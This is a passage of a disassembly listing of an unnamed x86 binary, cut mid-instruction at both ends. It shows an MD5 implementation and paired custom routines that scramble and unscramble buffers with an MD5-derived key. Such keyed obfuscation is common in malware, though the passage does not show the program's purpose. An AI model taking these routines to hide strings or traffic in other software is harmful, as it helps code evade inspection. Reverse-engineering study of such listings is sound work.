ecx and ecx, 0Fh mov cl, byte_41EAB4[ecx] add eax, ecx rol eax, 3 inc esi jmp short loc_40ED45 ; --------------------------------------------------------------------------- loc_40ED69: ; CODE XREF: sub_40ED38+11j pop edi pop esi pop ebx pop ebp retn sub_40ED38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED6E proc near ; CODE XREF: .text:004168FDp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset dword_41EAC8 call sub_40F26E pop ecx pop ecx lea esi, dword_41EAC8 mov edi, esi push 10h pop ecx loc_40EDAE: ; CODE XREF: sub_40ED6E+48j lodsb xor al, 0AAh add al, al or al, 1 stosb loop loc_40EDAE pop edi pop esi pop ebx leave retn sub_40ED6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EDBD proc near ; CODE XREF: sub_40EF29+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EDCE ; --------------------------------------------------------------------------- loc_40EDC7: ; CODE XREF: sub_40EDBD+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EDCE: ; CODE XREF: sub_40EDBD+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EE71 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] sub al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EDC7 ; --------------------------------------------------------------------------- locret_40EE71: ; CODE XREF: sub_40EDBD+17j leave retn sub_40EDBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE73 proc near ; CODE XREF: sub_40EF41+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EE84 ; --------------------------------------------------------------------------- loc_40EE7D: ; CODE XREF: sub_40EE73+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EE84: ; CODE XREF: sub_40EE73+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EF27 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] add al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EE7D ; --------------------------------------------------------------------------- locret_40EF27: ; CODE XREF: sub_40EE73+17j leave retn sub_40EE73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF29 proc near ; CODE XREF: sub_40A9CF+25Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EAC8 push [ebp+arg_4] push [ebp+arg_0] call sub_40EDBD add esp, 0Ch pop ebp retn sub_40EF29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF41 proc near ; CODE XREF: sub_40A9CF+380p ; sub_40D871+7ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EAC8 push [ebp+arg_4] push [ebp+arg_0] call sub_40EE73 add esp, 0Ch pop ebp retn sub_40EF41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF59 proc near ; CODE XREF: sub_40A9CF+271p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] push [ebp+arg_0] mov eax, [ebp+arg_0] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch call sub_410422 mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax and [ebp+var_8], 0 jmp short loc_40EF91 ; --------------------------------------------------------------------------- loc_40EF8A: ; CODE XREF: sub_40EF59+7Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40EF91: ; CODE XREF: sub_40EF59+2Fj mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40EFD9 mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EF8A ; --------------------------------------------------------------------------- loc_40EFD9: ; CODE XREF: sub_40EF59+3Ej mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40EFE9 ; --------------------------------------------------------------------------- loc_40EFE2: ; CODE XREF: sub_40EF59+D4j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40EFE9: ; CODE XREF: sub_40EF59+87j cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F02F mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EFE2 ; --------------------------------------------------------------------------- loc_40F02F: ; CODE XREF: sub_40EF59+94j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov [eax-4], ecx mov eax, [ebp+arg_4] add eax, 4 leave retn sub_40EF59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F040 proc near ; CODE XREF: sub_40A9CF+366p ; sub_40D871+792p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 push eax mov eax, [ebp+arg_0] add eax, 4 push eax push [ebp+arg_0] call sub_416E02 ; memmove add esp, 0Ch mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax and [ebp+var_8], 0 jmp short loc_40F07C ; --------------------------------------------------------------------------- loc_40F075: ; CODE XREF: sub_40F040+82j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40F07C: ; CODE XREF: sub_40F040+33j mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40F0C4 mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F075 ; --------------------------------------------------------------------------- loc_40F0C4: ; CODE XREF: sub_40F040+42j mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40F0D4 ; --------------------------------------------------------------------------- loc_40F0CD: ; CODE XREF: sub_40F040+D8j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40F0D4: ; CODE XREF: sub_40F040+8Bj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F11A mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F0CD ; --------------------------------------------------------------------------- loc_40F11A: ; CODE XREF: sub_40F040+98j mov eax, [ebp+arg_4] leave retn sub_40F040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F11F proc near ; CODE XREF: sub_40ECEB+Dp ; sub_40ED6E+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax], 67452301h mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0EFCDAB89h mov eax, [ebp+arg_0] mov dword ptr [eax+8], 98BADCFEh mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 10325476h mov eax, [ebp+arg_0] and dword ptr [eax+10h], 0 mov eax, [ebp+arg_0] and dword ptr [eax+14h], 0 pop ebp retn sub_40F11F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F159 proc near ; CODE XREF: sub_40ECEB+1Dp ; sub_40ED6E+1Dp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov [ebp+var_4], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] lea eax, [ecx+eax*8] mov ecx, [ebp+arg_0] mov [ecx+10h], eax mov eax, [ebp+arg_0] mov eax, [eax+10h] cmp eax, [ebp+var_4] jnb short loc_40F18E mov eax, [ebp+arg_0] mov eax, [eax+14h] inc eax mov ecx, [ebp+arg_0] mov [ecx+14h], eax loc_40F18E: ; CODE XREF: sub_40F159+26j mov eax, [ebp+arg_8] shr eax, 1Dh mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] add ecx, eax mov eax, [ebp+arg_0] mov [eax+14h], ecx mov eax, [ebp+var_4] shr eax, 3 and eax, 3Fh mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_40F21C mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+18h] mov [ebp+var_8], eax push 40h pop eax sub eax, [ebp+var_4] mov [ebp+var_4], eax mov eax, [ebp+arg_8] cmp eax, [ebp+var_4] jnb short loc_40F1E8 push [ebp+arg_8] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch jmp locret_40F26C ; --------------------------------------------------------------------------- loc_40F1E8: ; CODE XREF: sub_40F159+77j push [ebp+var_4] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 18h push eax push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, [ebp+var_4] mov [ebp+arg_8], eax loc_40F21C: ; CODE XREF: sub_40F159+59j ; sub_40F159+FCj cmp [ebp+arg_8], 40h jb short loc_40F257 push 40h push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, 40h mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, 40h mov [ebp+arg_8], eax jmp short loc_40F21C ; --------------------------------------------------------------------------- loc_40F257: ; CODE XREF: sub_40F159+C7j push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch locret_40F26C: ; CODE XREF: sub_40F159+8Aj leave retn sub_40F159 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F26E proc near ; CODE XREF: sub_40ECEB+2Ep ; sub_40ED6E+2Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] mov eax, [eax+10h] shr eax, 3 and eax, 3Fh mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+18h] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov byte ptr [eax], 80h mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax push 3Fh pop eax sub eax, [ebp+var_8] mov [ebp+var_8], eax cmp [ebp+var_8], 8 jnb short loc_40F2E1 push [ebp+var_8] push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 38h push 0 mov eax, [ebp+arg_4] add eax, 18h push eax call sub_416B6A ; memset add esp, 0Ch jmp short loc_40F2F5 ; --------------------------------------------------------------------------- loc_40F2E1: ; CODE XREF: sub_40F26E+3Bj mov eax, [ebp+var_8] sub eax, 8 push eax push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch loc_40F2F5: ; CODE XREF: sub_40F26E+71j push 8 mov eax, [ebp+arg_4] add eax, 10h push eax mov eax, [ebp+arg_4] add eax, 50h push eax call sub_40F33F add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 10h push [ebp+arg_4] push [ebp+arg_0] call sub_40F33F add esp, 0Ch push 4 push 0 push [ebp+arg_4] call sub_416B6A ; memset add esp, 0Ch leave retn sub_40F26E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F33F proc near ; CODE XREF: sub_40F26E+97p ; sub_40F26E+B8p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_40F35E ; --------------------------------------------------------------------------- loc_40F34E: ; CODE XREF: sub_40F33F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_40F35E: ; CODE XREF: sub_40F33F+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_40F3CC mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 8 and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+1], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 10h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+2], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 18h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+3], al jmp short loc_40F34E ; --------------------------------------------------------------------------- locret_40F3CC: ; CODE XREF: sub_40F33F+25j leave retn sub_40F33F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3CE proc near ; CODE XREF: sub_40F159+AAp ; sub_40F159+E3p ... var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 50h push 40h push [ebp+arg_4] lea eax, [ebp+var_50] push eax call sub_410244 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_C], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-28955B88h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-173848AAh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+242070DBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3E423112h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0A83F051h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4787C62Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-57CFB9EDh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_8] lea eax, [ecx+eax-2B96AFFh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+698098D8h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-74BB0851h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0A44Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_8] lea eax, [ecx+eax-76A32842h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6B901122h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-2678E6Dh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5986BC72h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_8] lea eax, [ecx+eax+49B40821h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-9E1DA9Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3FBF4CC0h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+265E5A51h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_8] lea eax, [ecx+eax-16493856h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-29D0EFA3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_10] lea eax, [ecx+eax+2441453h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, 